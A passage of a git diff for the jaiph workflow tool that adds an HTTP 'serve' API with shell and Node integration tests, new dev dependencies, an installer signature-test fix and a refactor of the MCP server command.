serve`](cli.md#jaiph-serve) — flag and endpoint reference. +- [Serve workflows as MCP tools](mcp.md) — the stdio sibling with the same exposure rules. +- [Run in a Docker sandbox](/how-to/sandbox-run) — the execution sandbox HTTP runs use. +- [Environment variables](env-vars.md) — `JAIPH_SERVE_TOKEN`, `JAIPH_SERVE_MAX_CONCURRENT`, and the sandbox controls. diff --git a/e2e/test_all.sh b/e2e/test_all.sh index 93c8f62a..88fe6cf1 100755 --- a/e2e/test_all.sh +++ b/e2e/test_all.sh @@ -103,6 +103,7 @@ TEST_SCRIPTS=( "e2e/tests/139_mcp_server_session.sh" "e2e/tests/140_env_passthrough.sh" "e2e/tests/141_mcp_docker_sandbox.sh" + "e2e/tests/147_serve_http_api.sh" "e2e/tests/146_trusted_envs.sh" "e2e/tests/210_standalone_binary.sh" ) diff --git a/e2e/tests/07_installer_binary.sh b/e2e/tests/07_installer_binary.sh index a2c1da75..7216e73d 100755 --- a/e2e/tests/07_installer_binary.sh +++ b/e2e/tests/07_installer_binary.sh @@ -93,9 +93,19 @@ printf 'real-binary-bytes' > "${RELEASE_DIR}/${HOST_BIN_NAME}" # reaches the verify step and fails with a checksum mismatch (not an http 404). printf '%s %s\n' "0000000000000000000000000000000000000000000000000000000000000000" "${HOST_BIN_NAME}" \ > "${RELEASE_DIR}/SHA256SUMS" -# Provide a placeholder sig file so the installer proceeds past the sig-download -# step and reaches the checksum verification (the real test target here). -printf 'placeholder-sig\n' > "${RELEASE_DIR}/SHA256SUMS.minisig" +# The installer verifies the detached signature BEFORE the checksum, so a bogus +# signature would fail first and never reach the checksum step. To exercise the +# checksum path, sign the (tampered) SHA256SUMS with a throwaway key and hand the +# installer its matching public key. When minisign is absent the installer skips +# signature verification, so a placeholder sig is enough to reach the checksum. +TEST_PUBKEY="" +if command -v minisign >/dev/null 2>&1; then + minisign -G -W -p "${RELEASE_DIR}/test.pub" -s "${RELEASE_DIR}/test.key" >/dev/null 2>&1 + minisign -S -s "${RELEASE_DIR}/test.key" -m "${RELEASE_DIR}/SHA256SUMS" >/dev/null 2>&1 + TEST_PUBKEY="$(tail -n 1 "${RELEASE_DIR}/test.pub")" +else + printf 'placeholder-sig\n' > "${RELEASE_DIR}/SHA256SUMS.minisig" +fi bad_status=0 # Unset JAIPH_REPO_URL: the shared e2e context points it at this repo root, @@ -104,6 +114,7 @@ bad_output="$( unset JAIPH_REPO_URL JAIPH_RELEASE_BASE_URL="file://${RELEASE_DIR}" \ JAIPH_BIN_DIR="${BIN_DIR_BAD}" \ + JAIPH_MINISIGN_PUBLIC_KEY="${TEST_PUBKEY}" \ bash "${INSTALL_SCRIPT}" 2>&1 )" || bad_status=$? e2e::assert_equals "${bad_status}" "1" "checksum mismatch exits non-zero" diff --git a/e2e/tests/147_serve_http_api.sh b/e2e/tests/147_serve_http_api.sh new file mode 100755 index 00000000..51541bca --- /dev/null +++ b/e2e/tests/147_serve_http_api.sh @@ -0,0 +1,125 @@ +#!/usr/bin/env bash +# +# serve 1/1 — `jaiph serve` HTTP API end-to-end (host mode) +# ======================================================== +# Black-box coverage through the real `jaiph` entrypoint (design: +# design/2026-07-23-serve-http-api.md -> "Testing"): +# +# Start `jaiph serve --port 0 ` as a background child, discover +# the bound port from its stderr startup line, then drive the HTTP surface +# with curl: +# - GET /healthz → {status:"ok", ...} unauthenticated +# - GET /openapi.json → OpenAPI 3.1.0 with a per-workflow path +# - POST .../greet/runs?wait=true → succeeded run round-trips the return value +# - POST .../boom/runs?wait=true → HTTP 200 with status:"failed" (a workflow +# failure is NOT an HTTP error) +# Assertions compare the meaningful JSON fields for equality (the run object +# carries a volatile run_dir + timestamps, so full-body equality is not +# feasible — hence field-level checks, per the e2e assertion policy). + +set -euo pipefail + +ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/../.." && pwd)" +source "${ROOT_DIR}/e2e/lib/common.sh" +trap e2e::cleanup EXIT + +e2e::prepare_test_env "serve_http_api" +TEST_DIR="${JAIPH_E2E_TEST_DIR}" + +if ! command -v python3 >/dev/null 2>&1; then + e2e::fail "python3 required for JSON response validation" +fi +if ! command -v curl >/dev/null 2>&1; then + e2e::fail "curl required for HTTP e2e" +fi + +e2e::file "tools.jh" <<'EOF' +# Greets the given name. +workflow greet(name) { + return "hello ${name}" +} + +# Always fails so the run reports a failure. +workflow boom() { + fail "boom-failed" +} +EOF + +e2e::section "jaiph serve exposes an HTTP API over host-mode runs" + +serve_err="${TEST_DIR}/serve_stderr.txt" +: >"${serve_err}" + +# `--port 0` binds a free port; the startup line on stderr carries it. +jaiph serve --port 0 "${TEST_DIR}/tools.jh" >/dev/null 2>"${serve_err}" & +# Reuse the harness's server-pid slot so e2e::cleanup tears the server down. +E2E_SERVER_PID="$!" + +port="" +for _ in $(seq 1 50); do + port="$(sed -nE 's#.*listening on http://[^:]+:([0-9]+).*#\1#p' "${serve_err}" | head -1)" + if [[ -n "${port}" ]]; then + break + fi + sleep 0.2 +done +if [[ -z "${port}" ]]; then + printf 'serve stderr:\n%s\n' "$(cat "${serve_err}")" >&2 + e2e::fail "jaiph serve did not print a listen URL" +fi +base="http://127.0.0.1:${port}" + +# --- /healthz (unauthenticated) --- +health="$(curl -s "${base}/healthz")" +health_status="$(printf '%s' "${health}" | python3 -c 'import json,sys; print(json.load(sys.stdin)["status"])')" +e2e::assert_equals "${health_status}" "ok" "GET /healthz reports status ok" + +# --- /openapi.json (unauthenticated, OpenAPI 3.1 with a per-workflow path) --- +openapi="$(curl -s "${base}/openapi.json")" +openapi_fields="$(printf '%s' "${openapi}" | python3 -c ' +import json, sys +d = json.load(sys.stdin) +print(d["openapi"]) +print("yes" if "/v1/workflows/greet/runs" in d["paths"] else "no") +')" +{ + read -r p_openapi_version + read -r p_has_greet_path +} <<< "${openapi_fields}" +e2e::assert_equals "${p_openapi_version}" "3.1.0" "GET /openapi.json is OpenAPI 3.1.0" +e2e::assert_equals "${p_has_greet_path}" "yes" "/openapi.json has a concrete path for the greet workflow" + +# --- POST greet ?wait=true → succeeded, return value round-trips --- +greet="$(curl -s -X POST "${base}/v1/workflows/greet/runs?wait=true" \ + -H 'content-type: application/json' -d '{"name":"world"}')" +greet_fields="$(printf '%s' "${greet}" | python3 -c ' +import json, sys +d = json.load(sys.stdin) +print(d["status"]) +print(d["result_text"]) +print("yes" if d.get("run_dir") else "no") +')" +{ + read -r p_greet_status + read -r p_greet_text + read -r p_greet_has_rundir +} <<< "${greet_fields}" +e2e::assert_equals "${p_greet_status}" "succeeded" "greet run status is succeeded" +e2e::assert_equals "${p_greet_text}" "hello world" "greet result_text is the workflow return value" +e2e::assert_equals "${p_greet_has_rundir}" "yes" "greet run object carries a run_dir" + +# --- POST boom ?wait=true → HTTP 200 with status failed (not an HTTP error) --- +boom_body="${TEST_DIR}/boom_body.json" +boom_code="$(curl -s -o "${boom_body}" -w '%{http_code}' -X POST \ + "${base}/v1/workflows/boom/runs?wait=true" -H 'content-type: application/json' -d '{}')" +e2e::assert_equals "${boom_code}" "200" "a failing workflow is HTTP 200 (workflow failure is not an HTTP error)" +boom_status="$(python3 -c 'import json,sys; print(json.load(open(sys.argv[1]))["status"])' "${boom_body}")" +e2e::assert_equals "${boom_status}" "failed" "boom run status is failed" + +# --- GET /v1/workflows lists both exposed workflows --- +workflows="$(curl -s "${base}/v1/workflows" | python3 -c ' +import json, sys +names = sorted(w["name"] for w in json.load(sys.stdin)["workflows"]) +print(",".join(names)) +')" +e2e::assert_equals "${workflows}" "boom,greet" "GET /v1/workflows lists both workflows" diff --git a/integration/serve-server.test.ts b/integration/serve-server.test.ts new file mode 100644 index 00000000..afbd609c --- /dev/null +++ b/integration/serve-server.test.ts @@ -0,0 +1,254 @@ +import test from "node:test"; +import assert from "node:assert/strict"; +import { spawn, spawnSync } from "node:child_process"; +import { existsSync, mkdtempSync, rmSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { dirname, join } from "node:path"; + +const CLI_PATH = join(process.cwd(), "dist/src/cli.js"); + +const BASE_FIXTURE = [ + "script sleeper = `sleep 1`", + "# Greets the given name.", + "workflow greet(name) {", + ' return "hello ${name}"', + "}", + "", + "# Fails on purpose for tests.", + "workflow boom() {", + ' fail "boom went off"', + "}", + "", + "# Sleeps briefly, then returns.", + "workflow slow() {", + " run sleeper()", + ' return "woke"', + "}", + "", +].join("\n"); + +function serveEnv(runsRoot: string, extra?: Record): NodeJS.ProcessEnv { + return { + ...process.env, + JAIPH_DOCKER_ENABLED: "false", + JAIPH_RUNS_DIR: runsRoot, + PATH: `${dirname(process.execPath)}:${process.env.PATH ?? ""}`, + ...extra, + }; +} + +interface ServeProc { + baseUrl: string; + stderr: () => string; + close: () => Promise; +} + +/** Spawn `jaiph serve --port 0`, resolving once it logs its bound listen URL. */ +function startServe(fixture: string, cwd: string, env: NodeJS.ProcessEnv, extraArgv: string[] = []): Promise { + const child = spawn("node", [CLI_PATH, "serve", "--port", "0", ...extraArgv, fixture], { + cwd, + env, + stdio: ["ignore", "pipe", "pipe"], + }); + + let stderrBuf = ""; + return new Promise((resolve, reject) => { + const timer = setTimeout(() => reject(new Error(`serve did not start\nstderr:\n${stderrBuf}`)), 20_000); + child.stderr!.setEncoding("utf8"); + child.stderr!.on("data", (chunk: string) => { + stderrBuf += chunk; + const m = stderrBuf.match(/listening on (http:\/\/[^ ]+)/); + if (m) { + clearTimeout(timer); + resolve({ + baseUrl: m[1], + stderr: () => stderrBuf, + close: () => + new Promise((res) => { + child.on("exit", () => res()); + child.kill("SIGTERM"); + setTimeout(() => child.kill("SIGKILL"), 8_000).unref(); + }), + }); + } + }); + child.on("exit", (code) => { + clearTimeout(timer); + reject(new Error(`serve exited early (code ${code})\nstderr:\n${stderrBuf}`)); + }); + }); +} + +function delay(ms: number): Promise { + return new Promise((r) => setTimeout(r, ms)); +} + +async function pollRun(baseUrl: string, id: string, timeoutMs = 20_000): Promise { + const start = Date.now(); + for (;;) { + const res = await fetch(`${baseUrl}/v1/runs/${id}`); + assert.equal(res.status, 200); + const run = await res.json(); + if (run.status !== "running") return run; + if (Date.now() - start > timeoutMs) throw new Error(`run ${id} did not finish; last=${JSON.stringify(run)}`); + await delay(150); + } +} + +test("jaiph serve: wait=true round-trips a workflow return value as succeeded", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-wait-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs"))); + try { + const res = await fetch(`${srv.baseUrl}/v1/workflows/greet/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ name: "world" }), + }); + assert.equal(res.status, 200); + const run = await res.json(); + assert.equal(run.status, "succeeded"); + assert.equal(run.result_text, "hello world"); + assert.ok(run.run_dir && existsSync(join(run.run_dir, "run_summary.jsonl")), "run dir has run_summary.jsonl"); + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: async POST returns 202 + Location and polling reaches the same terminal result", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-async-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs"))); + try { + const res = await fetch(`${srv.baseUrl}/v1/workflows/greet/runs`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: JSON.stringify({ name: "async" }), + }); + assert.equal(res.status, 202); + const location = res.headers.get("location"); + const started = await res.json(); + assert.equal(started.status, "running"); + assert.equal(location, `/v1/runs/${started.run_id}`); + + const run = await pollRun(srv.baseUrl, started.run_id); + assert.equal(run.status, "succeeded"); + assert.equal(run.result_text, "hello async"); + assert.ok(existsSync(join(run.run_dir, "run_summary.jsonl")), "durable run_summary.jsonl exists"); + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: a failing workflow is HTTP 200 with status failed (not an HTTP error)", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-fail-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs"))); + try { + const res = await fetch(`${srv.baseUrl}/v1/workflows/boom/runs?wait=true`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: "{}", + }); + assert.equal(res.status, 200, "workflow failure must not be an HTTP error"); + const run = await res.json(); + assert.equal(run.status, "failed"); + assert.equal(typeof run.exit_status, "number"); + assert.notEqual(run.exit_status, 0); + assert.match(run.result_text, /failed step/); + assert.match(run.result_text, /run dir:/); + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: hot reload surfaces a new workflow and a pre-reload run still completes", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-reload-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs"))); + try { + // Start a slow run against the current generation, then reload. + const startRes = await fetch(`${srv.baseUrl}/v1/workflows/slow/runs`, { + method: "POST", + headers: { "content-type": "application/json" }, + body: "{}", + }); + assert.equal(startRes.status, 202); + const slowId = (await startRes.json()).run_id; + + // Add a workflow; the watcher reloads without a restart. + writeFileSync(jh, `${BASE_FIXTURE}\n# A freshly added tool.\nworkflow extra() {\n return "extra"\n}\n`); + + const start = Date.now(); + for (;;) { + const doc = await (await fetch(`${srv.baseUrl}/openapi.json`)).json(); + if (doc.paths["/v1/workflows/extra/runs"]) break; + if (Date.now() - start > 15_000) throw new Error("reload did not surface the new workflow in /openapi.json"); + await delay(200); + } + const wf = await (await fetch(`${srv.baseUrl}/v1/workflows`)).json(); + assert.ok(wf.workflows.some((w: any) => w.name === "extra"), "/v1/workflows lists the new workflow"); + + // The run started before the reload still finishes successfully (its + // generation's scripts dir survives until it completes — refcounted). + const run = await pollRun(srv.baseUrl, slowId); + assert.equal(run.status, "succeeded"); + assert.equal(run.result_text, "woke"); + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: with a token, /v1/* needs the bearer while /healthz, /openapi.json, /docs stay open", async () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-auth-")); + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const srv = await startServe(jh, root, serveEnv(join(root, ".jaiph/runs"), { JAIPH_SERVE_TOKEN: "s3cret" })); + try { + assert.equal((await fetch(`${srv.baseUrl}/v1/workflows`)).status, 401); + assert.equal((await fetch(`${srv.baseUrl}/v1/workflows`, { headers: { authorization: "Bearer wrong" } })).status, 401); + assert.equal((await fetch(`${srv.baseUrl}/v1/workflows`, { headers: { authorization: "Bearer s3cret" } })).status, 200); + + for (const path of ["/healthz", "/openapi.json", "/docs"]) { + assert.equal((await fetch(`${srv.baseUrl}${path}`)).status, 200, `${path} is open without a token`); + } + } finally { + await srv.close(); + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph serve: binding a non-loopback host without JAIPH_SERVE_TOKEN exits 1 before listening", () => { + const root = mkdtempSync(join(tmpdir(), "jaiph-serve-noloop-")); + try { + const jh = join(root, "tools.jh"); + writeFileSync(jh, BASE_FIXTURE); + const env = serveEnv(join(root, ".jaiph/runs")); + delete env.JAIPH_SERVE_TOKEN; + const result = spawnSync("node", [CLI_PATH, "serve", "--host", "0.0.0.0", "--port", "0", jh], { + encoding: "utf8", + cwd: root, + env, + stdio: ["ignore", "pipe", "pipe"], + }); + assert.equal(result.status, 1, `expected exit 1, got ${result.status}\n${result.stderr}`); + assert.match(result.stderr, /JAIPH_SERVE_TOKEN/); + assert.doesNotMatch(result.stderr, /listening on/, "must not bind before failing"); + } finally { + rmSync(root, { recursive: true, force: true }); + } +}); + +test("jaiph --help lists jaiph serve", () => { + const result = spawnSync("node", [CLI_PATH, "--help"], { encoding: "utf8", stdio: ["ignore", "pipe", "pipe"] }); + assert.equal(result.status, 0); + assert.match(result.stdout, /jaiph serve/); +}); diff --git a/package-lock.json b/package-lock.json index d4272806..454492b9 100644 --- a/package-lock.json +++ b/package-lock.json @@ -12,6 +12,7 @@ }, "devDependencies": { "@playwright/test": "^1.58.2", + "@seriousme/openapi-schema-validator": "^2.4.1", "@types/node": "^24.5.2", "typescript": "^5.9.2" } @@ -32,6 +33,23 @@ "node": ">=18" } }, + "node_modules/@seriousme/openapi-schema-validator": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/@seriousme/openapi-schema-validator/-/openapi-schema-validator-2.4.1.tgz", + "integrity": "sha512-OX15CKLV2JFGcoXxFVD/CMtWzys+r6G9gArKY8iaUqOkIEqp80ispclk5c8j5i1iEIIlyCRJ0R0N5MddHFg2xg==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^8.17.1", + "ajv-draft-04": "^1.0.0", + "ajv-formats": "^3.0.1", + "js-yaml": "^4.1.0" + }, + "bin": { + "bundle-api": "bin/bundle-api-cli.js", + "validate-api": "bin/validate-api-cli.js" + } + }, "node_modules/@types/node": { "version": "24.10.13", "resolved": "https://registry.npmjs.org/@types/node/-/node-24.10.13.tgz", @@ -42,6 +60,87 @@ "undici-types": "~7.16.0" } }, + "node_modules/ajv": { + "version": "8.20.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.20.0.tgz", + "integrity": "sha512-Thbli+OlOj+iMPYFBVBfJ3OmCAnaSyNn4M1vz9T6Gka5Jt9ba/HIR56joy65tY6kx/FCF5VXNB819Y7/GUrBGA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.3", + "fast-uri": "^3.0.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-draft-04": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/ajv-draft-04/-/ajv-draft-04-1.0.0.tgz", + "integrity": "sha512-mv00Te6nmYbRp5DCwclxtt7yV/joXJPGS7nM+97GdxvuttCOfgI3K4U25zboyeX0O+myI8ERluxQe5wljMmVIw==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "ajv": "^8.5.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/ajv-formats": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/ajv-formats/-/ajv-formats-3.0.1.tgz", + "integrity": "sha512-8iUql50EUR+uUcdRQ3HDqa6EVyo3docL8g5WJ3FNcWmu62IbkGUue/pEyLBW8VGKKucTPgqeks4fIU1DA4yowQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^8.0.0" + }, + "peerDependencies": { + "ajv": "^8.0.0" + }, + "peerDependenciesMeta": { + "ajv": { + "optional": true + } + } + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/fast-deep-equal": { + "version": "3.1.3", + "resolved": "https://registry.npmjs.org/fast-deep-equal/-/fast-deep-equal-3.1.3.tgz", + "integrity": "sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==", + "dev": true, + "license": "MIT" + }, + "node_modules/fast-uri": { + "version": "3.1.4", + "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.4.tgz", + "integrity": "sha512-8JnbkQ4juDyvYs4mgFGQqg4yCYtFDtUtmp2QIQq11ZZe5CFQ5wcqm1rqDgAh/QdMySuBnPzMUiJUNZG5N/AiQw==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/fastify" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/fastify" + } + ], + "license": "BSD-3-Clause" + }, "node_modules/fsevents": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.2.tgz", @@ -57,6 +156,36 @@ "node": "^8.16.0 || ^10.6.0 || >=11.0.0" } }, + "node_modules/js-yaml": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.3.0.tgz", + "integrity": "sha512-1td788aAnnZ5qs7V2QIRl1owjtYpbKt749Y3xauqQgwIIGF/xXWz1wMTEBx5O3LK3lXLVuqXPdPxj2BoFHaW9Q==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/puzrin" + }, + { + "type": "github", + "url": "https://github.com/sponsors/nodeca" + } + ], + "license": "MIT", + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "dev": true, + "license": "MIT" + }, "node_modules/playwright": { "version": "1.58.2", "resolved": "https://registry.npmjs.org/playwright/-/playwright-1.58.2.tgz", @@ -89,6 +218,16 @@ "node": ">=18" } }, + "node_modules/require-from-string": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/require-from-string/-/require-from-string-2.0.2.tgz", + "integrity": "sha512-Xf0nWe6RseziFMu+Ap9biiUbmplq6S9/p+7w7YXP/JBHhrUDDUhwa+vANyubuqfZWTveU//DYVGsDG7RKL/vEw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, "node_modules/typescript": { "version": "5.9.3", "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.9.3.tgz", diff --git a/package.json b/package.json index 3f8d4d80..ce989d92 100644 --- a/package.json +++ b/package.json @@ -32,6 +32,7 @@ }, "devDependencies": { "@playwright/test": "^1.58.2", + "@seriousme/openapi-schema-validator": "^2.4.1", "@types/node": "^24.5.2", "typescript": "^5.9.2" } diff --git a/src/cli/commands/mcp.ts b/src/cli/commands/mcp.ts index ef8b42d4..cde893c6 100644 --- a/src/cli/commands/mcp.ts +++ b/src/cli/commands/mcp.ts @@ -1,24 +1,20 @@ -import { existsSync, mkdirSync, mkdtempSync, rmSync, statSync, unwatchFile, watchFile } from "node:fs"; +import { existsSync, mkdtempSync, rmSync, statSync } from "node:fs"; +import { randomUUID } from "node:crypto"; import { tmpdir } from "node:os"; import { dirname, extname, join, resolve } from "node:path"; import { createInterface } from "node:readline"; -import { loadModuleGraph, writeModuleGraph, type ModuleGraph } from "../../transpile/module-graph"; -import { collectDiagnostics } from "../../transpile/validate"; -import { buildScriptsFromGraph } from "../../transpiler"; -import { resolveModuleMetadata, metadataToConfig } from "../../config"; -import { - resolveDockerConfig, - checkDockerAvailable, - prepareImage, - selectMcpSandboxMode, -} from "../../runtime/docker"; import { detectWorkspaceRoot } from "../shared/paths"; import { hasHelpFlag, parseArgs } from "../shared/usage"; -import { resolveRuntimeEnv, resolveEnvPairs } from "../run/env"; -import { preflightAgentCredentials } from "../run/preflight-credentials"; -import { deriveTools, type McpToolSpec } from "../mcp/tools"; +import { resolveEnvPairs } from "../run/env"; import { McpServer } from "../mcp/server"; -import { callWorkflow, type McpCallEnvironment } from "../mcp/call"; +import { callWorkflow } from "../exec/call"; +import { + loadGeneration, + createSourceWatcher, + resolveStartupPosture, + WATCH_INTERVAL_MS, + type GenerationState, +} from "../shared/generation"; import { VERSION } from "../../version"; const MCP_USAGE = @@ -38,60 +34,6 @@ const MCP_USAGE = "Example:\n" + " claude mcp add mytools -- jaiph mcp ./tools.jh\n"; -/** How often watchFile polls module sources for hot reload (ms). */ -const WATCH_INTERVAL_MS = 750; - -interface McpState { - graph: ModuleGraph; - tools: McpToolSpec[]; - callEnv: McpCallEnvironment; -} - -/** - * Load (or reload) everything one generation of the server needs: module - * graph, compile-time validation, tool derivation, emitted scripts, and the - * serialized graph the spawned runners consume. Throws on parse errors; - * returns diagnostics without throwing on validation errors. - */ -function loadState( - inputAbs: string, - workspaceRoot: string, - tempRoot: string, - generation: number, - extraEnv: Record, - log: (line: string) => void, -): { state?: McpState; failures: string[] } { - const graph = loadModuleGraph(inputAbs, workspaceRoot); - const diag = collectDiagnostics(graph); - if (diag.errors.length > 0) { - return { - failures: diag.sorted().map((d) => `${d.file}:${d.line}:${d.col} ${d.code} ${d.message}`), - }; - } - - const mod = graph.modules.get(inputAbs)!.ast; - const { tools, warnings } = deriveTools(mod, inputAbs); - for (const w of warnings) log(`jaiph mcp: ${w}`); - - const outDir = join(tempRoot, `gen-${generation}`); - mkdirSync(outDir, { recursive: true }); - const { scriptsDir } = buildScriptsFromGraph(graph, outDir); - const graphFile = join(outDir, ".jaiph-module-graph.json"); - writeModuleGraph(graphFile, graph); - - const resolvedModuleMetadata = resolveModuleMetadata(mod, process.env); - const effectiveConfig = metadataToConfig(resolvedModuleMetadata); - - return { - state: { - graph, - tools, - callEnv: { inputAbs, workspaceRoot, mod, effectiveConfig, scriptsDir, graphFile, outDir, extraEnv }, - }, - failures: [], - }; -} - export async function runMcp(rest: string[]): Promise { if (hasHelpFlag(rest)) { process.stdout.write(MCP_USAGE); @@ -137,9 +79,9 @@ export async function runMcp(rest: string[]): Promise { const tempRoot = mkdtempSync(join(tmpdir(), "jaiph-mcp-")); let generation = 0; - let state: McpState; + let state: GenerationState; try { - const loaded = loadState(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log); + const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph mcp"); if (!loaded.state) { for (const f of loaded.failures) log(f); rmSync(tempRoot, { recursive: true, force: true }); @@ -156,38 +98,25 @@ export async function runMcp(rest: string[]): Promise { // env-driven Docker selection as `jaiph run`: the workspace is isolated by // default via a point-in-time snapshot. Inplace is an explicit opt-in via // JAIPH_INPLACE=1. - const mod = state.graph.modules.get(inputAbs)!.ast; - const startupEnv = resolveRuntimeEnv(state.callEnv.effectiveConfig, workspaceRoot, inputAbs); - const dockerConfig = resolveDockerConfig(resolveModuleMetadata(mod, process.env)?.runtime, startupEnv); - if (dockerConfig.enabled) { - // Prepare the image once here rather than per call (a cold pull is slow). - try { - checkDockerAvailable(); - prepareImage(dockerConfig); - } catch (err) { - log(err instanceof Error ? err.message : String(err)); - rmSync(tempRoot, { recursive: true, force: true }); - return 1; - } - const mode = selectMcpSandboxMode(startupEnv); - if (mode === "inplace") { - log( - `jaiph mcp: tool calls run in a Docker sandbox in-place on ${workspaceRoot} ` + - "(JAIPH_INPLACE=1 opt-in: effects land live on the workspace).", - ); - } else { - log(`jaiph mcp: tool calls run in a Docker sandbox (${mode} mode; workspace isolated).`); + let dockerConfig: ReturnType["dockerConfig"]; + try { + const posture = resolveStartupPosture(state, inputAbs, workspaceRoot, log); + dockerConfig = posture.dockerConfig; + if (dockerConfig.enabled) { + if (posture.sandboxMode === "inplace") { + log( + `jaiph mcp: tool calls run in a Docker sandbox in-place on ${workspaceRoot} ` + + "(JAIPH_INPLACE=1 opt-in: effects land live on the workspace).", + ); + } else { + log(`jaiph mcp: tool calls run in a Docker sandbox (${posture.sandboxMode} mode; workspace isolated).`); + } } + } catch (err) { + log(err instanceof Error ? err.message : String(err)); + rmSync(tempRoot, { recursive: true, force: true }); + return 1; } - // Credential pre-flight once at startup (warnings only in MCP mode: the - // server may outlive a credential fix, and per-call failures still surface). - const credPreflight = preflightAgentCredentials({ - mod, - inputAbs, - runtimeEnv: startupEnv, - dockerEnabled: dockerConfig.enabled, - }); - for (const w of [...credPreflight.warnings, ...credPreflight.errors]) log(w); const server = new McpServer({ serverVersion: VERSION, @@ -198,6 +127,7 @@ export async function runMcp(rest: string[]): Promise { dockerConfig, spec.workflow, spec.params.map((p) => args[p] ?? ""), + randomUUID(), ctx, ), write: (message) => { @@ -208,19 +138,13 @@ export async function runMcp(rest: string[]): Promise { // Hot reload: poll every module source; on change re-validate and swap the // generation. Validation failures keep the previous generation serving. - let watched: string[] = []; - const rewatch = (): void => { - for (const f of watched) unwatchFile(f, onSourceChange); - watched = [...state.graph.modules.keys()]; - for (const f of watched) watchFile(f, { interval: WATCH_INTERVAL_MS }, onSourceChange); - }; let reloading = false; const onSourceChange = (): void => { if (reloading) return; reloading = true; try { generation += 1; - const loaded = loadState(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log); + const loaded = loadGeneration(inputAbs, workspaceRoot, tempRoot, generation, extraEnv, log, "jaiph mcp"); if (!loaded.state) { log("jaiph mcp: reload failed; keeping the previous tool set:"); for (const f of loaded.failures) log(` ${f}`); @@ -228,7 +152,7 @@ export async function runMcp(rest: string[]): Promise { } const previousOutDir = state.callEnv.outDir; state = loaded.state; - rewatch(); + watcher.rewatch([...state.graph.modules.keys()]); server.notifyToolsChanged(); log(`jaiph mcp: sources reloaded (${state.tools.length} tool(s))`); rmSync(previousOutDir, { recursive: true, force: true }); @@ -238,7 +162,8 @@ export async function runMcp(rest: string[]): Promise { reloading = false; } }; - rewatch(); + const watcher = createSourceWatcher(WATCH_INTERVAL_MS, onSourceChange); + watcher.rewatch([...state.graph.modules.keys()]); log(`jaiph mcp: serving ${state.tools.length} tool(s) from ${inputAbs} over stdio`); @@ -247,7 +172,7 @@ export async function runMcp(rest: string[]): Promise { const shutdown = (code: number): void => { if (settled) return; settled = true; - for (const f of watched) unwatchFile(f, onSourceChange); + 